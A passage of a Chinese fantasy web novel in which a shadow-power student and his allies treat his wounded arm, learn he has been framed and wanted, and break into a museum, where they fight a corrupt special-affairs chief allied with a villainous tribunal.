“普通药膏只能压制表面。”风行者站起身,拍了拍裤子上的灰,“得找专业的人来处理。青禾堂的苏清月是生命绿藤异能者,说不定能彻底清除这能量。”他顿了顿,补充道,“她爷爷当年是研究空间能量的专家,可惜十年前失踪了。”
费勇的心猛地一跳。又是十年前。
他低头看向自己的影子,中心那道银线般的痕迹在月光下闪闪发亮,像在诉说着什么秘密。那个穿风衣的男人,石阵上的纹路,苏清月失踪的爷爷,林悦牺牲的父亲……这些线索像散落的珠子,似乎被一根无形的线串了起来,而这根线的源头,就是十年前那场神秘的觉醒潮。
“天亮就去找苏清月。”费勇握紧了拳头,眼神变得坚定起来。不管那画面是什么,他都要查清楚。这不仅关乎他手臂上的伤,更关乎他父母失踪的真相。
林悦看着他的眼睛,突然笑了笑,那笑容很淡,却像清晨的阳光,驱散了房间里的阴霾。“算我一个。”她说着,抬手拢了拢有点乱的头发,睡衣的袖子滑下来,露出手腕上一道浅浅的疤痕,“我也想知道,我父亲到底是怎么死的。”
窗外的月光渐渐淡了,天边泛起一丝鱼肚白。费勇的影子安静地躺在地板上,谁也没注意到,那道银线般的痕迹里,隐隐透出了和石阵纹路一样的金色微光。
第32章:绿藤的净化
青禾堂的药房里弥漫着一股浓郁的草药香,混合着薄荷的清凉和艾草的微苦,像把湿润的棉布捂在脸上,让人莫名安心。费勇站在药柜前,看着苏清月用银质小铲将墨绿色的药膏舀进瓷碗,阳光透过木窗格落在她低垂的侧脸上,绒毛都看得一清二楚。
“把袖子卷起来。”苏清月的声音很轻,带着药草般的温和。她今天换了件月白色的长衫,领口绣着细小的藤叶图案,手指捏着瓷碗边缘,指甲修剪得干净圆润,指尖还沾着点没擦净的草绿色药汁。
费勇依言卷起袖子,左臂的伤口已经结痂,但痂皮中心那道银线般的痕迹格外显眼,在阳光下泛着冷光。他能感觉到那下面藏着的空间能量,像条冬眠的蛇,偶尔会动一下,带来轻微的刺痛。
夏艳玲蹲在旁边,怀里的布娃娃被她摆弄着转了个圈,布娃娃的影子落在费勇的胳膊上,像块小小的黑布,刚好盖住那道银线。“不疼。”她仰起脸看着费勇,眼睛亮得像浸了水的黑曜石,小脸上沾着点不知从哪蹭来的草屑。
费勇忍不住笑了笑,伸手帮她把草屑擦掉:“嗯,不疼。”
苏清月端着瓷碗走过来,目光落在费勇的伤口上,原本温和的眼神瞬间凝重起来。她放下瓷碗,从药柜最底层抽出一个紫檀木盒子,盒子上刻着繁复的藤蔓花纹,边角已经被摩挲得发亮。“秦伯说的没错,这确实是空间噬痕。”她打开盒子,里面躺着个玉瓶,瓶身上同样缠着雕刻的绿藤,“裁决会审判长的空间切割,会在伤口里留下空间碎片,时间长了会像蛀虫一样啃噬你的异能核心。”
林悦靠在药柜上,抱着胳膊皱眉:“那这药膏能根治吗?”她今天换回了自己的作战服,但领口别着的还是青禾堂的布制纽扣,大概是原来的扣子在工厂打斗时掉了,线头歪歪扭扭地戳在外面,和她干练的样子有点不符。
苏清月没有立刻回答,而是打开玉瓶,用指尖蘸了点药膏。那药膏是深墨绿色的,像融化的翡翠,刚接触空气就散发出一股清冽的香气,药房角落里那盆快蔫了的吊兰突然抖了抖,抽出片新叶。“这是用千年古藤的精华炼的,”她的指尖轻轻点在费勇伤口的银线上,“能暂时把空间碎片裹住,但要彻底清除,得用空间稳定剂。”
药膏接触皮肤的瞬间,费勇打了个激灵。不是疼,而是像有股清凉的泉水顺着血管流进身体,刚才还在隐隐作痛的地方瞬间舒服了不少。他低头看去,只见苏清月指尖的药膏落在银线上,竟化作无数根细如发丝的绿藤,顺着银线钻了进去。
“哇。”夏艳玲小声惊呼,布娃娃的眼睛闪了闪,投射在地上的影子边缘冒出几颗小小的光粒,像星星掉在了地上。
绿藤钻进伤口后,费勇能感觉到那道银线在微微颤抖,像是在挣扎。苏清月的额角渗出了细密的汗珠,脸色也变得有些苍白,她另一只手按在药柜上,指尖泛着淡淡的绿光,药房里所有的植物都在轻轻摇晃,叶片纷纷转向费勇的方向,像是在输送能量。
“清月,没事吧?”林悦忍不住上前一步,手放在腰间的配枪上,眼神里带着担忧。她很少露出这样的表情,平时总是像只炸毛的刺猬,此刻却像只护崽的母兽,紧张地盯着苏清月。
苏清月摇摇头,嘴唇抿成一条直线。随着她的动作,费勇伤口里的绿藤突然开始收缩,像拔河一样往外拽着什么。一道黑色的雾气从银线里被慢慢拉了出来,在空中凝聚成一个指甲盖大小的黑球,里面隐隐有银线闪烁。
“就是这个。”苏清月喘了口气,额角的汗滴落在长衫上,晕开一小片深色的痕迹,“空间碎片被裹出来了。”
就在这时,费勇的影子突然动了。地面上的黑影像有生命似的伸长,边缘卷成一个小小的漩涡,对着那个黑球轻轻一吸。黑球像是被无形的力量牵引,“嗖”地一下飞进了影子里,连点声响都没发出来。
“!”苏清月惊讶地睁大了眼睛,手里的玉瓶差点掉在地上,“你的影子……”
费勇也愣住了。他完全没控制影子,是它自己动的。他能感觉到影子里传来一阵轻微的灼热,像是把滚烫的煤块埋进了土里,过了一会儿,灼热感消失,影子恢复了平静,只是颜色似乎又深了些。
林悦凑过来看了看费勇的伤口,银线般的痕迹已经淡得几乎看不见了,只剩下浅浅的粉色疤痕。“这就好了?”她有点不敢相信,伸手碰了碰疤痕,指尖传来温热的触感,和普通伤口没什么两样。
“只是暂时压制。”苏清月用手帕擦了擦汗,脸色渐渐恢复红润,“空间碎片被影子吸收了,但它还在你体内,就像颗定时炸弹。必须找到空间稳定剂,才能彻底化解。”
“空间稳定剂是什么?”费勇问道,活动了一下胳膊,感觉比之前灵活多了,连带着影子都轻快了不少,像卸下了什么重担。
苏清月刚要回答,药房的门突然被推开,秦伯拄着拐杖走了进来,脸色比平时严肃得多。“那东西没炸?”他的目光扫过费勇的伤口,又看了看地面,眉头皱得更紧了。
“炸?”林悦挑眉,“什么炸?”
秦伯叹了口气,拐杖在地上顿了顿:“空间碎片离开宿主后会爆炸,就算被能量裹住也一样。三年前我见过一次,半个街区的植物都枯了。”他看向费勇的影子,眼神里带着惊讶,“你的影子居然能直接吸收空间碎片的能量?”
费勇这才意识到刚才有多危险,后背瞬间冒出一层冷汗。他低头看了看自己的影子,它安静地躺在地上,像什么都没发生过,只是边缘偶尔会闪过一丝极淡的银光,快得让人以为是错觉。
苏清月突然想起了什么,转身从药柜里翻出一本泛黄的古籍,书页边缘都卷了起来,上面用毛笔写着密密麻麻的字。她快速翻到其中一页,指着上面的插图说:“空间稳定剂……我爷爷的笔记里提到过,是一种能稳定空间能量的矿石,叫古影石,据说在城际博物馆里有一块。”
“博物馆?”林悦皱起眉,“那里安保很严,而且特调科最近在严查异能者出入公共场所,我们去的话太显眼了。”
“而且裁决会肯定也在找这东西。”费勇补充道,他想起赵鹤那道冰冷的眼神,心里有点发沉,“他们既然能用空间切割,肯定也需要空间稳定剂。”
秦伯拄着拐杖走到窗边,看着外面街上的行人,声音低沉:“不管有多难,都得去。”他转过身,目光落在费勇身上,“你的影子吸收了空间碎片,短期内会变强,但长期来看,碎片里的能量会慢慢污染你的暗影本源。清月的爷爷当年就是研究这个失踪的,这可能和十年前的觉醒潮有关。”
又是十年前。
费勇的心脏猛地一跳,脑海里又闪过那个雨夜的画面——石阵、穿风衣的男人、破碎的影子……这些线索像散落的拼图,似乎正在慢慢拼出一个模糊的轮廓。
夏艳玲突然拉了拉费勇的衣角,布娃娃指向古籍上的插图。费勇低头看去,插图上画着一块黑色的石头,上面刻着的纹路,竟然和他影子里偶尔闪过的金色纹路一模一样。
“看来非去不可了。”林悦掏出配枪检查了一下,枪身擦得锃亮,反射出她坚定的眼神,“正好,我也想查查特调科里那些见不得人的勾当,说不定能找到我父亲死亡的真相。”
苏清月把古籍合上,放回药柜深处,眼神里带着一丝决绝:“我和你们一起去。爷爷的笔记里有博物馆的结构图,或许能帮上忙。”
费勇看着她们,突然觉得心里踏实了不少。之前他总是一个人,遇到事只会躲,现在身边却有了愿意并肩作战的人——冷静温柔的苏清月,火爆直率的林悦,还有总能给人惊喜的夏艳玲。
他的影子在地面上轻轻晃动,像是在回应他的心情。阳光透过窗格,在影子上投下细碎的光斑,像撒了把金色的种子。
第33章:黑白两道的追捕
青禾堂的木门被风撞得吱呀作响,卷进一股带着尘土味的热风。费勇正帮夏艳玲把布娃娃上的线头剪掉,那丫头不知何时在娃娃背后绣了个歪歪扭扭的黑影子,针脚乱得像蜘蛛网。
“别动,快好了。”费勇捏着绣花针,小心翼翼地挑开打结的线,指尖突然被针扎了一下,渗出颗血珠。血珠滴在布娃娃的影子上,竟像被海绵吸走似的,瞬间没了痕迹。
夏艳玲突然“呀”了一声,指着费勇的影子往后缩了缩。费勇低头看去,自己的影子边缘正泛着淡淡的红光,像被夕阳染过,刚才吸收空间碎片的地方鼓起个小小的包,像塞了颗玻璃弹珠。
“怎么回事?”林悦刚从外面侦查回来,作战靴上还沾着草屑,听到动静立刻摸向腰间的枪。她今天把头发梳成了高马尾,几缕碎发贴在汗湿的额角,脖子上还挂着个青禾堂的铜制护身符,是苏清月硬塞给她的。
费勇还没来得及说话,林悦胸前的通讯器突然发出刺耳的“滴滴”声,红色的警报灯在她锁骨处闪得刺眼。她皱眉按下接听键,里面立刻传出个油腻的男声,带着刻意的和蔼:
“小林啊,特调科刚发布紧急通缉令,你看看是不是认识——星海学院学生费勇,涉嫌勾结破晓组织,袭击执法人员,悬赏金额五十万。发布人是我,王科长。”
林悦的脸色“唰”地白了,接着又涨得通红,像是有团火从嗓子眼里烧出来。她猛地攥紧通讯器,指节捏得发白,金属外壳在她掌心慢慢变弯,发出刺耳的“咯吱”声。“王胖子这老东西!”她咬着牙骂了句,突然抬手,硬生生把通讯器捏成了团废铁,碎片从指缝里掉出来,砸在地上叮当作响。
“通缉令?”费勇愣住了,手里的绣花针“啪嗒”掉在地上,“我什么时候勾结破晓了?”
“欲加之罪罢了。”苏清月端着刚熬好的草药走进来,药碗边缘冒着白气,她把碗放在桌上,眼神冷得像淬了冰,“裁决会要杀你,特调科里的内鬼想借刀杀人,现在你成了黑白两道都要抓的目标。”
费勇看着地上的通讯器碎片,突然觉得有点荒谬。昨天他还是个担心期末挂科的大学生,今天就成了悬赏五十万的通缉犯。他的影子在地上轻轻颤抖,那个小小的包越来越烫,像是在替他生气。
“五十万?”风行者不知从哪冒出来,嘴里叼着根草根,挑了挑眉,“就这?我上次单枪匹马端了裁决会三个据点,悬赏都比他高。”他走到费勇身边,用脚尖踢了踢地上的碎片,“王科长那老狐狸,十年前就和裁决会有勾结,林悦她爸……”
“别说了!”林悦突然打断他,声音带着不易察觉的颤抖。她背过身去,手按在墙上,指腹深深抠进木头里,作战服的肩章被她扯得歪歪扭扭。费勇看到她的影子在地上蜷缩着,像只受伤的野兽。
气氛一下子僵住了。夏艳玲怯怯地拉了拉费勇的衣角,把布娃娃塞进他手里。布娃娃的影子落在费勇手背上,传来一阵暖暖的感觉,像块小小的暖宝宝。
“现在不是说这个的时候。”秦伯拄着拐杖从里屋走出来,拐杖头在地上敲出沉稳的节奏,“裁决会的人估计已经收到消息了,青禾堂不能待了。”他看向苏清月,“你说的古影石,确定在博物馆?”
苏清月点点头,转身从书架上抽出本厚厚的画册,翻开其中一页——那是城际博物馆的平面图,泛黄的纸页上用红笔圈着个小小的展厅,旁边画着块黑色的石头,上面刻着复杂的纹路。“爷爷的笔记里说,古影石是十年前从影石阵遗址里挖出来的,能稳定所有空间能量,包括你影子里的空间碎片。”
费勇的目光落在图上的石头纹路上,心脏突然漏跳了一拍。那些纹路和他影子里偶尔闪过的金色纹路一模一样,甚至连弯曲的弧度都分毫不差。他下意识地摸了摸影子上的小包,那里的温度渐渐降了下来。
“博物馆的安保系统是特调科亲自设计的,”林悦转过身,脸上已经恢复了平时的冷硬,只是眼底还藏着点红血丝,“红外感应、压力地板、还有能检测异能波动的警报器,就算是只苍蝇飞进去都能被扒层皮。”
“那正好,我最近想减肥。”风行者吹了声口哨,银白色的影子在地上打了个旋,“正好试试新改装的滑板,超音速模式,保证那些破警报器反应不过来。”
“不行。”苏清月摇头,指着平面图上的一个角落,“这里有个通风管道,是当年施工时偷工减料留下的,只有小孩能钻进去。”她看向夏艳玲,眼神柔和了些,“但艳玲不能去,太危险。”
夏艳玲立刻摇摇头,把布娃娃举得高高的,娃娃的影子在墙上拉得很长,像在示威。“我能行。”她小声说,眼睛瞪得圆圆的,带着股不服输的劲儿。
费勇突然想起什么,弯腰捡起地上的绣花针,指尖在影子上轻轻一点。影子像块橡皮泥似的被捏出个小小的钩子,勾住针尾,慢慢往上提。“或许不用钻管道。”他盯着平面图上的阴影区域,嘴角勾起个浅浅的弧度,“博物馆里最多的是什么?影子。”
林悦挑眉:“你想干嘛?”
“影遁。”费勇的影子突然拉长,顺着地面爬到门口,像条黑色的蛇,“我可以通过影子在博物馆里移动,只要不触发异能警报器,就能神不知鬼不觉拿到古影石。”
“太冒险了。”苏清月皱眉,伸手想按住他的肩膀,却被费勇躲开。她的指尖落在费勇刚才坐的椅子上,那里的影子突然冒出几根小小的绿藤,像在替她挽留。
“总比坐以待毙强。”费勇站起身,影子在他身后舒展开,边缘泛着自信的光泽,“而且我不是一个人。”他看向林悦和风行者,“你们负责引开安保,苏清月准备接应,我们分工合作。”
林悦看着他的眼睛,突然笑了,那笑容像暴雨后的阳光,带着点狼狈,却格外明亮。她伸手把歪掉的肩章戴好,拍了拍费勇的胳膊:“算我一个。正好让王胖子看看,他亲手培养的特调科精英,是怎么打他脸的。”
风行者吹了声响亮的口哨,把嘴里的草根吐掉:“加我一个,好久没和特调科的人玩玩了。”
苏清月无奈地摇摇头,转身去药柜里翻找东西:“我去准备能屏蔽异能波动的药膏,还有这个。”她从抽屉里拿出张泛黄的纸,上面画着博物馆的详细结构图,角落用小字标注着“1999年施工草图”,“这是爷爷当年参与博物馆改建时留下的,通风管道的拐角处有块松动的砖。”
费勇接过图纸,指尖碰到纸页的瞬间,影子突然剧烈地晃动起来。图纸上的古影石图案和他影子里的金色纹路产生了共鸣,像两块相互吸引的磁铁。他能感觉到影子里的那个小包正在慢慢融化,变成一股暖流,流遍全身。
“看来这古影石,非你莫属。”秦伯的声音带着笑意,拐杖在地上轻轻敲了敲,“去吧,注意安全。”
夏艳玲突然抱住费勇的胳膊,把布娃娃塞给他:“带着它。”娃娃的眼睛闪了闪,投射出一道小小的光,在图纸上的古影石图案上打了个圈,“能找到。”
费勇握紧布娃娃,感觉掌心暖暖的。他的影子在地上铺开,和林悦、风行者、苏清月的影子轻轻碰在一起,像在击掌盟誓。
“行动时间定在今晚子时。”林悦掏出腰间的手铐,在手里转了个圈,眼神亮得像要喷火,“正好让王胖子看看,什么叫自食恶果。”
窗外的太阳渐渐西沉,把天空染成了一片火烧云。费勇看着墙上的通缉令投影——那是风行者用黑客技术扒下来的,照片上的他一脸呆滞,还是上个月学生证上的照片。他突然觉得有点好笑,抬手把投影关掉,影子在他身后挺直了腰板,像个蓄势待发的战士。
第34章:异能抑制场
博物馆的夜比想象中更冷,月光透过穹顶的玻璃天窗,在大理石地面上投下斑驳的光斑,像谁打碎了一地的碎镜子。费勇贴着墙根滑行,影子被他压得扁扁的,像块黑色的橡胶皮,顺着墙角的阴影悄无声息地蔓延。
“左翼安保已解决。”耳机里传来林悦压低的声音,带着电流的滋滋声。她今晚换了身黑色潜行服,平时扎得一丝不苟的马尾散开,长发披在肩上,发梢沾着点从通风管道带出来的灰尘。费勇能通过影子感知到她的位置——就在前方展厅的立柱后,指尖正缠绕着一丝微弱的电流,像条不安分的小蛇。
苏清月跟在费勇身后半步远,白色的医护服外面套了件黑色外套,手里提着个银色的医疗箱,箱角贴着片翠绿的常春藤叶子。她的呼吸很轻,脚步落在地毯上几乎没有声音,只有偶尔碰到展柜时,指尖会泛起淡淡的绿光,安抚那些被惊动的植物标本。
“还有三分钟到古影石展厅。”苏清月的声音比林悦更轻,像羽毛拂过耳朵,“根据爷爷的笔记,展厅门口有三道红外感应,频率是每秒十二次。”
费勇点点头,突然停住脚步。他的影子正延伸到展厅入口,那里的地面上覆盖着一层极薄的金属网,网眼细密,在月光下泛着冷光。更让他心惊的是,影子接触到金属网的瞬间,像被冻住似的变得僵硬,原本灵活的边缘开始发脆,仿佛一碰就会碎裂。
“怎么了?”林悦的影子从立柱后探出来,像条细长的黑蛇,轻轻碰了碰费勇的影子。
“不对劲。”费勇低声说,试着让影子抬起来,却发现它像灌了铅似的沉重,“这里的影子……动不了。”
苏清月蹲下身,指尖轻轻按在金属网上,片刻后脸色微变:“是异能抑制场。网下埋着能量传导装置,能干扰异能者的能量流动。”她的指尖泛起的绿光明显黯淡了许多,像快没电的手电筒,“而且这能量波动……和裁决会的抑制器很像。”
林悦皱了皱眉,抬手对着旁边的金属展柜试了试。往常能轻松让锁芯短路的电流,此刻只在指尖冒出几星微弱的火花,像受潮的打火机。“该死。”她低骂一声,潜行服的领口因为动作太大敞开了些,露出锁骨处那道浅浅的疤痕,“王胖子果然和裁决会勾结了,这是早就设好的陷阱。”
费勇深吸一口气,强迫自己冷静下来。他盯着展厅入口的金属网,突然注意到网眼之间的阴影——那些阴影比别处更浓,像被墨染过,而且没有受到抑制场的影响。“有办法了。”他示意林悦和苏清月退后,自己则集中精神,将影子压缩成一条细线,顺着网眼间的阴影钻了过去。
影子穿过金属网的瞬间,费勇感觉像穿过了一层冰壳,刺骨的寒意顺着影子蔓延到全身。他咬着牙操控影子在展厅里铺开,很快就找到了古影石的展柜——那是个半透明的玻璃罩,里面的黑色石头正散发着淡淡的幽光,表面的纹路在光线下流转,像活过来似的。
“安全,可以进来。”费勇的声音带着点颤抖,抑制场的影响比他想象中更强烈,连说话都觉得费力。
林悦和苏清月立刻从阴影里钻出来,贴着墙根快速移动。林悦的动作明显比平时迟缓,潜行服的裤脚不小心蹭到了金属网,瞬间冒出一串细小的火花,吓得她赶紧跳开,脸上却依旧保持着镇定,只是耳尖微微发红。
就在他们靠近展柜时,展厅的灯光突然“唰”地全亮了,刺眼的白光把整个空间照得如同白昼。费勇下意识地眯起眼,看到四周的阴影里突然涌出十几个穿着特调科制服的人,手里都拿着配备异能抑制器的枪械,枪口齐刷刷地对准他们。
“啧啧,果然是你啊,小林。”一个油腻的男声从人群后传来,王科长挺着啤酒肚,慢悠悠地走出来,脸上挂着虚伪的笑容。他今天穿了件崭新的制服,胸前的徽章擦得锃亮,却掩不住领口的油渍,“放着特调科的大好前程不要,非要跟一个通缉犯混在一起,你父亲要是泉下有知,怕是要气活过来。”
林悦的身体猛地一僵,握着枪的手因为用力而指节发白。她深吸一口气,突然笑了,笑声里带着说不出的嘲讽:“我父亲?他要是知道自己拼死守护的特调科里出了你这种勾结裁决会的内鬼,才会气得从坟里爬出来掀了你的天灵盖!”
“放肆!”王科长的脸色瞬间沉了下来,肥硕的手指在腰间的控制器上按了一下,“给我抓住他们!反抗者,格杀勿论!”
特调科的人立刻围了上来,脚步踏在金属网上发出沉闷的响声。费勇控制影子形成护盾,却发现影子像块被冻住的猪油,怎么也捏不成形,只能在地面上徒劳地扭动。
苏清月突然将医疗箱打开,从里面掏出一把闪着银光的手术刀,刀柄上缠着一圈绿色的藤蔓。她反手将手术刀递给林悦,自己则从箱子底层摸出个小小的陶土罐,拔开盖子,里面立刻飘出一股浓郁的香气。“这是迷迭香精油,能暂时干扰神经反应。”她的声音依旧平静,只是额角渗出了细密的汗珠,“只能拖延三十秒。”
林悦接过手术刀,突然转身,用刀背狠狠砸向身后一个特调科成员的手腕。那人惨叫一声,手里的枪掉在地上,林悦顺势抬脚,精准地踢在他的膝盖弯,动作干净利落,完全不像个异能被压制的人。“警校的格斗术,可不是白学的!”她挑眉看向王科长,眼神里燃着怒火,“今天就让你看看,谁才是该被清算的内鬼!”
费勇趁机扑向展柜,手指刚碰到玻璃罩,就听到王科长冷笑一声:“别白费力气了,这展柜是用特殊合金做的,就算你异能没被压制也打不破。”他按下另一个按钮,玻璃罩缓缓降了下去,露出里面的古影石,“而且这石头在抑制场里,就是块普通的破石头,带回去也没用。”
古影石的幽光果然在慢慢黯淡,表面的纹路越来越模糊,像要被墨色吞噬。费勇急得满头大汗,眼睁睁看着石头的光芒快要消失,突然想起夏艳玲塞给他的布娃娃。他赶紧从口袋里掏出娃娃,这小家伙不知何时吸收了些月光,眼睛亮得像两颗小星星。
布娃娃的影子落在古影石上,原本黯淡的石头突然轻轻震动了一下,表面的纹路闪过一丝极淡的金光。费勇的影子像是受到了感召,突然挣脱了抑制场的束缚,猛地伸长,将古影石紧紧包裹住。
“这不可能!”王科长失声尖叫,肥胖的身体因为震惊而微微发抖,“抑制场对暗影异能的效果是最强的,你怎么可能……”
费勇没有理会他,他能感觉到影子和古影石之间正在产生某种共鸣,像两个失散多年的伙伴终于重逢。石头里传来一股温暖的能量,顺着影子流进他的身体,驱散了抑制场带来的寒意。他甚至能看到石头里残留的画面——十年前,一群人围着影石阵,其中一个身影的轮廓,竟和他记忆里父亲的样子有些相似。
“抓住他!快抓住他!”王科长气急败坏地大喊,自己也掏出手枪,对准费勇扣动扳机。
“小心!”林悦眼疾手快,一把推开费勇,子弹擦着他的胳膊飞过,打在展柜上,溅起一串火花。她反手将手术刀掷向王科长,却被他身边的手下用枪托挡开,手术刀“当啷”一声掉在地上。
苏清月突然将陶土罐里的精油泼向人群,浓郁的香气瞬间弥漫开来。特调科的人纷纷捂住鼻子,动作明显变得迟缓。“快走!”她拉着费勇的胳膊,指尖的绿光虽然微弱,却带着不容置疑的力量,“我来断后!”
费勇看着被人群包围的林悦,又看了看手里的古影石,突然做出一个决定。他将影子猛地炸开,化作无数黑色的碎片,像墨汁滴入水中,瞬间铺满了整个展厅。虽然无法形成有效的攻击,但这些碎片却干扰了特调科成员的视线,让他们暂时失去了目标。
“影遁!”费勇抓住林悦的手,将古影石塞进她怀里,“带着石头走,我掩护你们!”
林悦愣了一下,看着费勇坚定的眼神,突然用力点点头,转身跟着苏清月冲向通风管道。她的长发在空中划出一道黑色的弧线,潜行服的衣角被风掀起,露出腰间别着的那枚青禾堂护身符,在灯光下闪着微光。
费勇看着她们的背影消失在管道口,深吸一口气,转身面对围上来的特调科成员。他的影子虽然还受抑制场的影响,但刚才吸收的古影石能量让它比之前灵活了许多,像一条蓄势待发的黑色猎犬。
王科长看着费勇,脸上露出狰狞的笑容:“敬酒不吃吃罚酒,今天就让你知道,和裁决会作对的下场!”他从口袋里掏出一个黑色的徽章,上面刻着裁决会的标志,“你以为只有特调科在抓你吗?审判长早就等着收你的影子了!”
费勇的心猛地一沉。他看着王科长手里的徽章,又看了看四周越来越强的抑制场能量,突然意识到,这不仅仅是个针对他的陷阱,更是裁决会和内鬼联手设下的一个巨大的网,而他和他的伙伴们,已经掉进了网中央。
但他没有退缩。影子在他脚下慢慢凝聚,边缘泛着淡淡的金光,那是古影石留下的印记,也是他绝不放弃的证明。
第35章:影子的另类用法
迷迭香精油的香气还在展厅里弥漫,特调科成员们捂着鼻子咳嗽的间隙,林悦已经像只敏捷的猎豹扑向王科长。她的黑色潜行服在灯光下划出残影,左手精准扣住王科长肥硕的手腕,右手手肘狠狠撞向他的肋骨,动作干净得像教科书——这是警校格斗课的必杀技,专门对付拒不配合的嫌疑人。
“哎哟!”王科长疼得龇牙咧嘴,啤酒肚上的肥肉抖了三抖,手里的枪“哐当”掉在金属网上。他想挣脱,却发现林悦的手指像铁钳似的锁着他的关节,力道大得不像个女人。“反了你了!我可是特调科科长!”
“内鬼不配谈身份。”林悦眼神冰得像淬了毒,膝盖突然顶向王科长的膝盖窝。这胖子重心不稳,“扑通”一声跪在地上,锃亮的制服裤膝盖处瞬间沾了层灰,看着格外滑稽。周围的特调科成员想上前帮忙,却被她一个凌厉的眼神逼退——那眼神里的怒火几乎要烧穿人,谁也不敢贸然上前。
费勇趁机后退两步,后背抵住冰冷的展柜。异能抑制场还在嗡嗡作响,他的影子像块浸了水的海绵,沉甸甸地贴在地面上,连抬起个角都费劲。但刚才古影石传来的暖流还在体内游走,像条不肯屈服的小蛇,总在试图冲破束缚。
“费勇!这边!”苏清月的声音从右侧传来。她不知何时摸到了展厅角落的消防箱,手里举着根银色的消防水管,管口里正汩汩地往外冒水。白色的医护服下摆已经被水浸湿,贴在小腿上,却丝毫没影响她的动作。她瞄准金属网边缘的缝隙,猛地拧开水阀:“水影不受抑制场影响,试试这个!”
水流“哗啦”一声泼在地上,顺着金属网的纹路蔓延开来,在地面上形成一层薄薄的水膜。费勇的眼睛突然亮了——那些水膜映出的影子正在轻轻晃动,灵活得像水里的鱼,完全没受抑制场的干扰!
“好主意!”费勇立刻集中精神,将意识沉入地面的水影中。和本体影子的滞涩不同,水影像团柔软的面团,能随着他的想法随意变形。他试着将靠近特调科成员脚下的水影往上一提,那些水突然像活过来似的,顺着成员们的裤脚往上爬,缠成细细的水绳。
“什么东西?”一个特调科成员惊呼着低头,刚想抬脚踢开,却发现脚踝被水绳缠得死死的。他一挣扎,脚下的水影突然收紧,带着他的身体往前一扑,“啪”地摔在水膜上,溅起一片水花。
“漂亮!”林悦抽空回头看了一眼,正好看到这一幕,忍不住吹了声口哨。王科长趁机想挣脱,她立刻加重手上的力道,在他胳膊上拧出个红印:“老实点!”
苏清月没有停手,举着消防水管在展厅里游走,像个精准的洒水工。水流所到之处,地面上的水影越来越多,像无数条黑色的丝带在舞动。“左边第三个展柜后面有应急灯,”她头也不回地喊道,声音里带着笑意,“能不能让它晃两下?制造点混乱?”
费勇立刻操控水影流向应急灯的底座。水影顺着灯柱往上蔓延,在灯罩上凝成个小小的水团,轻轻一撞。应急灯“滋啦”一声闪了两下,展厅的灯光瞬间开始忽明忽暗,像接触不良的电视机。特调科成员们的影子在墙壁上忽大忽小,原本整齐的阵型顿时乱了套。
“还有这招?”费勇自己都愣了一下,随即忍不住笑出声。原来影子的用法不止具象化武器,还能玩这种小把戏。他看着地面上那些听话的水影,突然意识到——异能被压制又怎样?只要脑子还转,就总有办法。
“别光顾着玩!”林悦的声音带着点气急败坏,“帮我搞定后面那两个!”
费勇抬头一看,果然有两个特调科成员绕到了林悦身后,手里举着警棍,看样子是想偷袭。他立刻将身前的水影往旁边一拉,那些水突然聚集起来,化作两条细长的水鞭,“啪”地抽在那两人的腿弯处。
两人吃痛,膝盖一软,差点跪在地上。等他们稳住身形时,林悦已经转过身,飞起两脚将他们手里的警棍踢飞,动作干净得像拍武打片。“谢了!”她冲费勇眨了眨眼,额角的碎发被汗水粘住,却挡不住眼里的光。
费勇的心突然跳快了两拍,赶紧低头继续操控水影。他发现水影虽然灵活,但威力有限,最多只能起到牵制作用。要想彻底摆脱困境,还得想个更厉害的办法。他的目光扫过地面上的水膜,突然有了主意。
“清月,把水往中间引!”费勇喊道,同时将所有水影往展厅中央聚集。水流像被无形的力量牵引着,慢慢汇成一个小小的水洼。他深吸一口气,将意识全部注入水洼的影子中——这次不再是塑形,而是改变它的质感。
水洼的表面突然变得光滑如镜,像块被打磨过的黑玻璃。那些原本只是薄薄一层的水影,此刻竟有了冰面的滑腻感。一个刚从地上爬起来的特调科成员没注意,一脚踩在水洼边缘,身体立刻像踩了香蕉皮似的往前滑,“咚”地撞在前面同伴的背上。两人像多米诺骨牌似的倒在一起,压得水洼溅起半米高的水花。
“影冰面?”苏清月惊讶地睁大了眼睛,随即笑了起来,“你这创意不错。”她举着消防水管,专门往“影冰面”边缘加水,让这块特殊的冰面越来越大。
特调科成员们彻底慌了。往前走怕滑倒,后退又被水影缠着脚踝,一个个站在原地手足无措,像群被雨水打懵的鸭子。有几个想绕道从侧面进攻,却被苏清月用消防水管直接滋脸,狼狈得够呛。
“一群废物!”王科长看着自己的手下被耍得团团转,气得脸都红了,肥硕的身体使劲挣扎着,“都给我上!一个通缉犯和两个女人都搞不定,还想不想在特调科混了!”
他的挣扎越来越激烈,林悦渐渐有些按不住。她咬了咬牙,突然弯腰捡起掉在地上的配枪,动作快得像闪电。枪身还带着王科长的体温,她却毫不犹豫地将枪口抵住了他的太阳穴,声音冷得像冰:“再说一句废话,我就扣扳机了。”
王科长的声音戛然而止,脸色瞬间变得惨白。他看着林悦眼里的决绝,那里面没有丝毫玩笑的意思——这个女人是真的敢开枪。周围的特调科成员也都愣住了,谁也没想到平时最守规矩的林顾问,竟然会做出这种事。
“说,”林悦的指尖因为用力而泛白,枪口微微颤抖着,“我父亲的死,是不是你搞的鬼?”
这句话像颗炸弹,在展厅里炸开了。所有人的目光都集中在王科长脸上,连那些挣扎的特调科成员都停了下来。费勇操控水影的手也顿住了,心里突然升起个模糊的猜测——林悦父亲的死,难道和裁决会有关?
王科长的嘴唇哆嗦着,眼神躲闪:“你……你胡说什么……林队长是因公殉职,档案里写得清清楚楚……”
“清清楚楚?”林悦笑了,笑声里带着说不出的悲凉,“档案里写着他在抓捕裁决会成员时不幸牺牲,却没写他的配枪被动过手脚,没写现场发现的裁决会徽章上有你的指纹!”她突然提高音量,像在对整个世界宣告,“今天你不说实话,我就让你跟我父亲去作伴!”
王科长被她的气势吓住了,身体抖得像筛糠。他下意识地想往口袋里摸什么,却被林悦看穿:“别动!”她抬脚踢在他的手腕上,口袋里的东西“叮”地掉了出来,滚到费勇脚边。
是枚黑色的徽章,上面刻着裁决会的标志——和王科长之前掏出来的那枚一模一样,只是这枚的边角有些磨损,像是经常被人摩挲。
“果然是你。”林悦的声音低了下去,带着浓浓的失望和痛苦。她手里的枪晃了晃,眼神里闪过一丝动摇。
就在这时,展厅的大门突然被“砰”地撞开。一个穿着黑色风衣的身影站在门口,脸上戴着银色的面具,只露出双冰冷的眼睛。异能抑制场的嗡鸣声突然变得尖锐起来,费勇的影子像被针扎似的,传来一阵剧痛。
“审判长?”王科长像看到救星似的大喊起来,“快救我!”
